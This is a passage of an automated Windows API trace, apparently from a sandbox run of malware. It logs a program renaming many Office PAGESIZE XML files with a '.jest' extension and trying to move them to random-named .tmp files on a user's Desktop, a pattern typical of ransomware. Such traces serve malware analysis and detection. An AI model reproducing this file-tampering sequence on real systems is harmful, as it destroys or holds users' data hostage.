Office\\Office14\\PAGESIZE\\PGLBL016.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl016.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ElmoSLmw8i_MvVBuCNT-1A3BS_Nq0F9yssoebfmIUS8u1mRUD0b7Fom he29tksoIT0FU-RVfLkCOQYXKVv5ErpUKKuVci9Wne6XR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\elmoslmw8i_mvvbucnt-1a3bs_nq0f9yssoebfmius8u1mrud0b7fom he29tksoit0fu-rvflkcoqyxkvv5erpukkuvci9wne6xr.tmp")) returned 0 [0170.400] GetLastError () returned 0x2 [0170.401] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.402] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl022.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl022.xml.jest")) returned 1 [0170.404] VarBstrFromR4 (in: fltIn=0x479459fb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.96") returned 0x0 [0170.405] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl022.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\60JGBg9Yg IWKYuQR6VlfJdEk4HOmOjnGi2OQA_RDI73mbMiPuPfYkV4wyOBRc6jKLIhj8K4q3dyAwOCiqW5s1DfpUdKAF6Luox2S.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\60jgbg9yg iwkyuqr6vlfjdek4homojngi2oqa_rdi73mbmipupfykv4wyobrc6jklihj8k4q3dyawociqw5s1dfpudkaf6luox2s.tmp")) returned 0 [0170.405] GetLastError () returned 0x2 [0170.405] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.406] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl026.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl026.xml.jest")) returned 1 [0170.408] VarBstrFromR4 (in: fltIn=0x479459fd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.98") returned 0x0 [0170.409] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl026.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\orFutth3vLME2XKwKfCLoXj5XumXifxsCe2btDvpN-9sgDTuicJQojV14YoTi0mIQZ29VeWIMHqWSKnytbYFoQxf_EIo8M0ixx8H.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\orfutth3vlme2xkwkfcloxj5xumxifxsce2btdvpn-9sgdtuicjqojv14yoti0miqz29vewimhqwsknytbyfoqxf_eio8m0ixx8h.tmp")) returned 0 [0170.409] GetLastError () returned 0x2 [0170.409] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.411] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl044.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl044.xml.jest")) returned 1 [0170.413] VarBstrFromR4 (in: fltIn=0x479459fd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.98") returned 0x0 [0170.414] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl044.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\975FqDLRYoW_TztV8otQMExhV8ek62irUgP25fZooyeHuidXV4A0c5JSPrbbfAEZyy3kUZkFTvcKisgBoehIPXVolPzU9d8-LfEg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\975fqdlryow_tztv8otqmexhv8ek62irugp25fzooyehuidxv4a0c5jsprbbfaezyy3kuzkftvckisgboehipxvolpzu9d8-lfeg.tmp")) returned 0 [0170.414] GetLastError () returned 0x2 [0170.414] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.415] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl075.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl075.xml.jest")) returned 1 [0170.418] VarBstrFromR4 (in: fltIn=0x479459fd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.98") returned 0x0 [0170.418] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl075.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0O3KKL_b6tmWJ000toaMubXpQHDiv2L-pOeTB4a KVD_K4JtkzzyPj20Prl6rvA0w3mldBAsGLsgy8MvNJl1w1pGwUxtqhooB27.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0o3kkl_b6tmwj000toamubxpqhdiv2l-poetb4a kvd_k4jtkzzypj20prl6rva0w3mldbasglsgy8mvnjl1w1pgwuxtqhoob27.tmp")) returned 0 [0170.419] GetLastError () returned 0x2 [0170.419] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.420] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl077.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl077.xml.jest")) returned 1 [0170.421] VarBstrFromR4 (in: fltIn=0x479459fd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.98") returned 0x0 [0170.422] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl077.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ ORZOqsRPdt_iTgkUAsQfWVTBlWmZEGO7f ORxKFEG2EGc D2w_7kjy gZR-cVuezy bXDshgTT0v1_0dDbtwHeK4QKwL1vXcY9Xj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ orzoqsrpdt_itgkuasqfwvtblwmzego7f orxkfeg2egc d2w_7kjy gzr-cvuezy bxdshgtt0v1_0ddbtwhek4qkwl1vxcy9xj.tmp")) returned 0 [0170.422] GetLastError () returned 0x2 [0170.422] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.423] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl078.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl078.xml.jest")) returned 1 [0170.426] VarBstrFromR4 (in: fltIn=0x479459ff, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.99") returned 0x0 [0170.428] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl078.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8HcZSsIXGhoVKyiAmj-nkximTiG8usl4QXdsuBlcW04SQNbK jNWtC21Y25FBxlxJZPQwgRCgbJVsMlKsyDnLgC1uKkmQ7PKDL8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8hczssixghovkyiamj-nkximtig8usl4qxdsublcw04sqnbk jnwtc21y25fbxlxjzpqwgrcgbjvsmlksydnlgc1ukkmq7pkdl8.tmp")) returned 0 [0170.428] GetLastError () returned 0x2 [0170.429] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.431] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl081.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl081.xml.jest")) returned 1 [0170.433] VarBstrFromR4 (in: fltIn=0x479459ff, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.99") returned 0x0 [0170.433] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl081.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-vWIQrxSd3l-bH0bVZbCUiuozcYUbC7ZhwTRYgmi0ermiVRKtV_9VHq7oWoOYhCJGV0zvbXp4XAeXIK3PEFwVy_9-hKztik4WfPg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-vwiqrxsd3l-bh0bvzbcuiuozcyubc7zhwtrygmi0ermivrktv_9vhq7owooyhcjgv0zvbxp4xaexik3pefwvy_9-hkztik4wfpg.tmp")) returned 0 [0170.433] GetLastError () returned 0x2 [0170.434] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.435] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl086.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl086.xml.jest")) returned 1 [0170.436] VarBstrFromR4 (in: fltIn=0x479459ff, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.99") returned 0x0 [0170.437] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl086.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mvm3qibcAwiNx8zm56Ts3o2qOUWwuCQhXpBTPKrZjRTi5nu7J3XDzW0nPwO_S7c8odC46_wQptQMDE4o6F9u2s-1NnnplKi3jifj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mvm3qibcawinx8zm56ts3o2qouwwucqhxpbtpkrzjrti5nu7j3xdzw0npwo_s7c8odc46_wqptqmde4o6f9u2s-1nnnplki3jifj.tmp")) returned 0 [0170.437] GetLastError () returned 0x2 [0170.437] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.437] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl089.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl089.xml.jest")) returned 1 [0170.439] VarBstrFromR4 (in: fltIn=0x47945a01, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.01") returned 0x0 [0170.440] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl089.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1AgteHi7iH3vuGFHciKBrJ8V_YCJRtzDO_yeaJLigEsUxH90Px1YU 7cvYZNx_cZwJWSbJhDS12FZwTiyxqfJV3Hix9Q9P9dy8oEe.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1agtehi7ih3vugfhcikbrj8v_ycjrtzdo_yeajligesuxh90px1yu 7cvyznx_czwjwsbjhds12fzwtiyxqfjv3hix9q9p9dy8oee.tmp")) returned 0 [0170.440] GetLastError () returned 0x2 [0170.440] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.440] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl090.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl090.xml.jest")) returned 1 [0170.442] VarBstrFromR4 (in: fltIn=0x47945a01, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.01") returned 0x0 [0170.443] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl090.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OEWv4_g7ZqUprrtvniFu-yKbb9trdfeot-OzB97KB7U1Q8iQdkoq0P-OJGMUHLWNMILaWW6b6mz1F-0FXZaqaCjeLSedEDXR9R.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oewv4_g7zquprrtvnifu-ykbb9trdfeot-ozb97kb7u1q8iqdkoq0p-ojgmuhlwnmilaww6b6mz1f-0fxzaqacjelsededxr9r.tmp")) returned 0 [0170.443] GetLastError () returned 0x2 [0170.443] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.444] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl092.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl092.xml.jest")) returned 1 [0170.446] VarBstrFromR4 (in: fltIn=0x47945a01, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.01") returned 0x0 [0170.447] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl092.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A5qexfGe_HOTApoi30K27g8E0A5smdyTHG9XGaJnxLG-O21W1v_MuDlDHFNekoggdi R4msvd_G8E6VQUVC7gzD_fo-2moE1H0blL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a5qexfge_hotapoi30k27g8e0a5smdythg9xgajnxlg-o21w1v_mudldhfnekoggdi r4msvd_g8e6vquvc7gzd_fo-2moe1h0bll.tmp")) returned 0 [0170.447] GetLastError () returned 0x2 [0170.447] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.448] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl093.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl093.xml.jest")) returned 1 [0170.450] VarBstrFromR4 (in: fltIn=0x47945a01, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.01") returned 0x0 [0170.450] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl093.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8hsb5XcBLCPLLKJaVbxHAQEWx0rZM 0 VNOvyX-W5cwtYaBBwRcTRoKlPUDCMp7j52TG9WSJQrCwNiGiyKcxXG0jhx3jBQ93xTww.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8hsb5xcblcpllkjavbxhaqewx0rzm 0 vnovyx-w5cwtyabbwrctroklpudcmp7j52tg9wsjqrcwnigiykcxxg0jhx3jbq93xtww.tmp")) returned 0 [0170.451] GetLastError () returned 0x2 [0170.451] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.451] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl095.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl095.xml.jest")) returned 1 [0170.453] VarBstrFromR4 (in: fltIn=0x47945a01, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.01") returned 0x0 [0170.454] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl095.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x_K2qVNHTrWuCIJLYwG7DEcolxAfOf3l5xFUYC5Qx55V5PLOn1PO8N1iydmzuFgcp5AKDXU2_Yq2dLqwRuRx7uw48GF 4DdJJGox.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x_k2qvnhtrwucijlywg7decolxafof3l5xfuyc5qx55v5plon1po8n1iydmzufgcp5akdxu2_yq2dlqwrurx7uw48gf 4ddjjgox.tmp")) returned 0 [0170.454] GetLastError () returned 0x2 [0170.455] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.455] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl102.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl102.xml.jest")) returned 1 [0170.457] VarBstrFromR4 (in: fltIn=0x47945a03, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.02") returned 0x0 [0170.458] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl102.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BFdvzdMdtI9 V28nWwXXpPrO3wRQnEV5fcLwkJfSqYjWId44ubSh5XT6YfT9FoTu_1EHoDgMivLBnofgRvcHNFziW0k_z7sscths.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bfdvzdmdti9 v28nwwxxppro3wrqnev5fclwkjfsqyjwid44ubsh5xt6yft9fotu_1ehodgmivlbnofgrvchnfziw0k_z7sscths.tmp")) returned 0 [0170.458] GetLastError () returned 0x2 [0170.458] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.459] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl105.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl105.xml.jest")) returned 1 [0170.460] VarBstrFromR4 (in: fltIn=0x47945a03, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.02") returned 0x0 [0170.462] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl105.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RAy3ecD5-23_Ig4 xHw_rmO3ux 